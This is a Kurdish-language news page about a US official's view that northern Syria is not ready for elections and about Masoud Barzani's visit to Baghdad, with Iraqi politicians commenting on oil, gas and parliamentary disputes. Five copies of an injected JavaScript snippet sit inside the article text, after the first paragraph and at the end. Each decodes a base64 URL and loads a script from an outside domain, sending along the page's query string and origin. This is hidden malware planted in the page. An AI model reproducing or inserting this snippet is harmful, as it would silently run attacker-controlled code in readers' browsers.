سەبارەت ب بابەتێ هەلبژارتنان ل باکورێ سووریێ ژی وی بەرپرسێ ئەمریکا دیار کر، نها رەوش بۆ هەلبژارتنان یا گونجای نینە، مە ب رەنگەکێ فەرمی داخواز ژ بەرپرسێن رێڤەبەریا خوەسەر ژی کریە کو جارێ بەحسێ هەلبژارتنان ل باکورێ سووریێ نەکەن، چونکی نها هەلبژارتن بهێنە کرن ژی چو پرسەک چارەسەر نابیت بەلکو دێ پرسێن هەی ژی دژوارتر لێ هێن، ژ بەر ڤێ یەکێ ژی گرنگە بەرپرسێن رێڤەبەریا خوەسەر ژی ل گۆر راستیا هەی سەرەدەری بکەن و باشترە نها چو هەلبژارتن نەهێنە کرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆك مەسعود بارزانی ب مەبەستا ئەنجامدانا زنجیرەیەكا كۆمبوونان ل گەل ئالیێن فەرمی و سیاسی یێن ئیراقی و دیدار ل گەل سەركردەیێن سیاسی، ل ئەڤێ دووماهیێ سەرەدانا بەغدا كربوو، كۆمبوون ژ بۆ دیتنا چارەسەریێن گونجای و ب دووماهئینان ب كێشەیێن هەلاویستی دناڤبەرا بەغدا و هەرێما كوردستانێ دا.
سیاسەتمەدارێن ئیراقی سەرەدانا سەرۆك بارزانی بۆ بغدا ب گرنگ هەژمارت.
رەحیم عەبودی، ئەندامێ دەستەیا گشتییا باسكێ حیكمە یێ نیشتمانی ب سەرۆكایەتییا عەمار حەكیم دبێژیت» ئەو خەباتا كورد و شیعان پێكڤە دژی ستەمێ كری، دیرۆكەكە چو جاران ناهێتە ژبیركرن. ژ ئەگەرێ ئەڤێ خەباتا دیرۆكی، نابیت ڤالاهی وساری د پەیوەندییاندا بهێتە دروستكرن. ب تایبەتی مە ل باسكێ حیكمە دیرۆكەكا درێژ یا هەی ژ بەر پەیوەندیێن دیرۆكی د ناڤبەرا سەماحەتا محەمەد باقر حەكیم و سەرۆك بارزانی. ئەڤێ خەباتێ رێك خوەشكر بۆ ئازادییا گەلێ كورد و ئیراقێ و مە بۆچوونێن هەڤپشك بۆ ئاڤاكرنا وەلاتی یێن هەین».
گۆت ژی»بارزانی رۆلەكێ تایبەت یێ هەی بۆ ئێكلاكرنا هەموو گرێیان د ناڤبەرا بەغدا و هەرێمێدا هەر ژ پرسا مووچەی، تاكو دگەهیتە قانوونا پەترۆل و غازێ و پەسەندكرنا وێ ل جڤاتا نوونەرێن ئیراقێ. ژ بلی ئەویچ چەندێ ل دەف سەرۆك بارزانی گرنگە ئاسایش و سەقامگیرییا ناڤخوەیی ب پاراستی بمینیت».
رەحیم عەبودی پشكدارییا سەرۆك بارزانی د كۆمبوونێن بەغدا دا ب گرنگ دزانیت و دبێژیت» بەرهەڤبوونا بڕیاردەرێ ئێكێ یێ هەولێرێ كو نوونەرایەتییا هەموو گەلێ كورد دكەت دێ كاریگەری ل سەر بڕیارێن بەغدا هەبیت».
ب دیتنا رەحیم عەبود، ب سەرەدانا سەرۆك بارزانی بۆ بەغدا، هنارتنا پەترۆلا هەرێما كوردستانێ دیچ دەستپێكەت، هیڤی ژی خواست پرسا سەرۆكێ جڤاتا نونەرێن ئیراقێ بهێتە پەسەندكرن تاكو پرسا قانوونا پەترۆل و غازێ ل ئیراقێ بهێتە پەسەندكرن.
هەروەسا ئاماژەكر، پرسا غازێ گەلەك یا گرنگە بۆ ئیراقێ ب تایبەتی بۆ بەرهەمئینانا وزا كارەبێ، بۆ ئەڤێ چەندێ ژی ب دیتنا وی سەرۆك بارزانی دشێت دەستپێشخەرییەكا نوو بكەت.
ژ ئالیێ خوەڤە ئەبو میساق مەساری، ئەندامێ مەكتەبا سیاسییا رێكخراوا بەدر ب گرنگی باسێ سەرەدانا سەرۆك بارزانی بۆ بەغدا كر و گۆت » ئەڤ سەرەدانە د دەمەكی دابوو، سەقایێ پەیوەندیێن بەغدا و هەولێرێ گەلەك یا باش و دۆستانەبوو و جارا ئێكێیە بگەهیتە ئەڤێ ئاستێ هەماهەنگیێ، ژ ئەنجامێ ئەڤی سەقایێ دۆستانە سەرۆك بارزانی هاە بەغد».
پتر گۆت » د كۆمبوونێن بەغدا دا، ب گرنگی گوه ل بۆچوونێن سەرۆك بارزانی هاتە گرتن و بارزانی ژی گوهدارییا بۆچوونێن سەركردەیێن چارچۆڤەیێ هەماهەنگیێ كر ل دۆر چەندین پرسێن هەلاویستی كو پێدڤی ب ئێكلاكرنێ یا هەی».
وی ئەندامێ مەكتەبا سیاسییا رێكخراوا بەدر هەر ل دۆر سەرەدانا سەرۆك بارزانی بۆ بەغدا دیاركر» سالانە سەركردەیێن ئیراقێ بەر ب هەولێرێ دچن و هەر شاندەكێ بەغدا سەرەدانا هەولێرێ كربیت، ل گەل سەرۆك بارزانی كۆمبوویە و ل هەموو دیدار و دانوستاندناندا باس ل نووترین پێشهاتێن ئیراقێ هاتییە كرن، بەلێ ئەڤێجارێ رەوش بەرۆڤاژی بوو، مێهڤانێ قەدر گران (سەرۆك بارزانی) هاتوو بەغدا و مە هەموویان دیت ل فرۆكخانەیا نێڤدەولەتییا بەغدا چاوان پێشوازییەكا گەلەك گەرم و نایاب لێ هاتە كرن و ئەو هەژی ڤێ چەندێیە و زێدەتر».
سەبارەت پرسا سەرۆكێ جڤاتا نوونەرێن ئیراقێ، ئەبو میساق مەساری گۆت » بارزانی ب سەنگا خوە و ب رێكا نوونەرایەتییا پتر ژ 70 كورسیێن كوردان، دشێت كێشەیێن سوننەیان چارەسەر بكەت، ب دیتنا من ب سەرەدانا ئەڤێ دووماهیێ یا سەرۆك بارزانی بۆ بەغدا دێ ئەو پرسە ژی هێتە ئێكلاكرن».
هەروەسا گۆت » سەركردە بۆ موجامەلەكرنێ سەرەدانا هەڤدو ناكەن، بەلكو گرفتەكا نیشتمانی یا هەی و پێدڤی ب چارەسەركرنێیە و دڤێ دانوستاندن بهێتە كرن. سەرۆك بارزانی ئەزموونەكا مەزن د پڕۆسەیا سیاسیدا یا هەی و ئەو ئەزموونا سەركەفتی ئەوا ل هەرێما كوردستانێ دهێتە دیتن، د چەندین هەلكەفتاندا بەغدا باس ل ئەوێ چەندێ كریە، چاڤێ مە ل ئەوێ چەندێیە بگەهینە هەمان ئاست».
ناڤبری ئاماژە ب رۆلێ سەرۆك بارزانی كر ل ئاستێ پەیوەندیێن ناڤخوەیی، هەرێمی و نێڤدەولەتی و گۆت » دەمەكی مە پێدڤی ب هەولێرێ بوو بۆ ئەوێ چەندێ ناڤبریێ بۆ مە بكەت و هندەك بابەتان بۆمە چارەسەر بكەت، هەتا بۆ سەرەدانا بایدنی ژی دیپلۆماسییەتا كوردی هاتە سەر هێلێ و ئەڤ بابەتە چارەسەركر, هەروەسا هەڤسۆزی و پشتەڤانییا سەرۆك بارزانی و سەرۆكێ هەرێما كوردستانێ بۆ فایق زێدانی، سەرۆك جڤاتا بلند یا دادوەریێ ل ئیراقێ هەلویستەكێ گەلەك باش بوو. سەرۆك بارزانی ب ئەڤی هەلویستی پەیام بۆ ناڤخوە و دەرڤە هنارت كو پشتەڤانییا بەردەوام بۆ برایێن خوە ل ئیراقێ یا هەی».
حەیدەر لامی، ئەندامێ جڤاتا نوونەرێن ئیراقێ ژ هەڤپەیمانییا دەولەتا قانوونێ ب سەرۆكایەتییا نوری مالكی، سەرەدانا سەرۆك بارزانی بۆ بەغدا بلند هەسەنگاند و گۆت » د شەش سالێن بۆریدا گەلەك تشت یێن هاتینە گوهۆرین، لەوما هاتنا بارزانی بۆ بەغدا گەلەك یا گرنگ بوو».
لامی پار گۆت » هاتنا سەرۆك بارزانی بۆ بەغدا ژ پێخەمەت باسكرنا بابەتێن لاوەكی نەبوو، ب پشتڕاستی ڤە پرسێن چارەنڤیسساز هەبوون كو وەكر بارزانی سەرەدانا بەغدا بكەت كو شەش سال بوون سەرۆك بارزانی سەرەدانا بەغدا نەكربوو».
سەبارەت چارەسەركرنا كێشەیێن د ناڤبەرا بەغدا و هەولێرێدا، حەیدەر لامی گۆت » ئالیێن دۆست و هەڤال یێن هەین و د بزاڤان دانە هەموو كێشەیێن هەلاویستی د ناڤبەرا بەغدا و هەولێرێدا بهێنە چارەسەركرن و ناخوازن رەوش بگەهیتە ئەوی ئاست كو دوژمنكاری هەبیت. نەبوونا باسكێ سەدری د پڕۆسەیا سیاسیدا، ئێكە ژ هۆكارا و مە نیاز هەیە بۆ ئەوێ چەندێ هەلبژارتنێن پێشوەخت بهێنە كرن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();